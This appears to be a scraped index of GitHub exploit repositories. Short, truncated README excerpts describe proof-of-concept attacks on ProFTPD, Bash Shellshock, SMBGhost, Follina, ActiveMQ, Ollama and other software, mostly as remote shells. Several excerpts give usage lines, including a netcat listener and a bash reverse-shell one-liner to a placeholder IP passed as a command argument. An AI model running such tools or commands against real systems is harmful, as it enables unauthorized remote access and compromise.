cve-2010-4221

cve-2010-4221 This exploit was written to study some concepts, enjoy! Usage Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Just type the target IP, PORT and t...

CVE-2019-11223

CVE-2019-11223 Arbitrary File Upload in Wordpress Plugin SupportCandy Version 2.0 Below https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. nc -l -p 4444 Run python script by the rule below: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

CVE-2019-11580

CVE-2019-11580 A CVE-2019-11580 shell for exploit vulnerability remotely...

Confluence-RCE

Usage: python3 mian.py Detection Command Execution Reverse Shell Supports SOCKS5 and HTTP Proxy For communication and learning purposes only...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Multithreaded exploit script for CVE-2022-36804 affecting most BitBucket versions 8.3.1 See the full advisory here https://jira.atlassian.com/browse/BSERV-13438 All credit to TheGrandPew for discovery The script will automatically detect public repositories located on bitbucket...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36553, a critical vulnerability in Hytec Inter HWL-2511-SS devices. The script is a practical demonstration,...

Follina

Follina PATCHED Remote Access Shell for Windows based on cve-2022-30190 ⚠️ Made for Educational purposes only 📚 Installation & Usage 🛠️ $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

CVE-2020-9484

CVE-2020-9484 Click the image to watch the video Usage Make it execuateble chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Need to run under Linux, the environment needs to have gcc Install golang, execute the following command to rebound the shell go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1"...

CVE-2023-46604

CVE-2023-46604 Set up docker-compose containing 2 images: the victim machine and the target machine according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Open an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen fo...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Vulnerability Description JumpServer Arbitrary File Write Vulnerability CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. Place the script and required files in the same directory 2. Ensure Google Chrome is installed, and obtain its version number reg query...

CVE-2020-0796

CVE-2020-0796 Remote Code Execution POC c 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes Remote Code Execution POC for CVE-2020-0796 / "SMBGhost" Expected outcome: Reverse shell with system access. Intended only for educational and testing in corporate environments. ZecOps...

cve-2026-27483

CVE-2026-27483 MindsDB Path Traversal to RCE PoC This PoC script is based on the following GitHub advisory By default MindsDB does not use auth PoC supports both unauthenticated and authenticated modes We can query /api/handlers/ to find available handlers, use any available but not installed...

CVE-2023-20887

CVE-2023-20887 Exploit VMWare vRealize Network Insight Pre-Authenticated RCE CVE-2023-20887 Usage usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST,...

envocabulary

envocabulary For every variable in your current shell, find the file and line that set it, or which subsystem direnv, launchd, terminal, SSH, system injected it. Plus a few static-file commands for the moment your shell config has sprawled across N files and backups and you've lost the plot. I...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Next.js-Exploit-Tool 图形化综合利用工具。 简介 一款针对 CVE-2025-55182 的独立安全评估工具，基于 Go 开发，提供图形化界面（GUI），用于快速完成漏洞检测与验证。 更新日志 v1.3.0 新增 Godzilla 哥斯拉 内存马支持 实现了基于 Node.js 的 Godzilla 内存马注入功能，本 Payload 需配合北辰师傅的项目GodzillaNodeJsPayload 使用。 致谢 Credits ：特别感谢 北辰师傅开源的 GodzillaNodeJsPayload 项目。 新增网络代理支持...

CVE-2020-0041-Pixel-3a

CVE-2020-0041: privilege escalation exploit This folder contains a local privilege escalation exploit, a modification of the bluefrostsecurity PoC for CVE-2020-0041. The exploit was provided with hardcoded offsets for a Pixel 3 device running the February 2020 firmware QQ1A.200205.002. The exploi...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter is a Bash script designed to scan for RaspAP installations and test them for a specific vulnerability CVE-2022-39986. / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / /...

CVE-2024-45519

CVE-2024-45519 SMTP Vulnerability Exploit Script Overview This script checks for vulnerabilities in an SMTP server and, if found, exploits the vulnerability by establishing a reverse shell connection to your machine. Features Port Checking: Verifies if the target SMTP port is open. Vulnerability...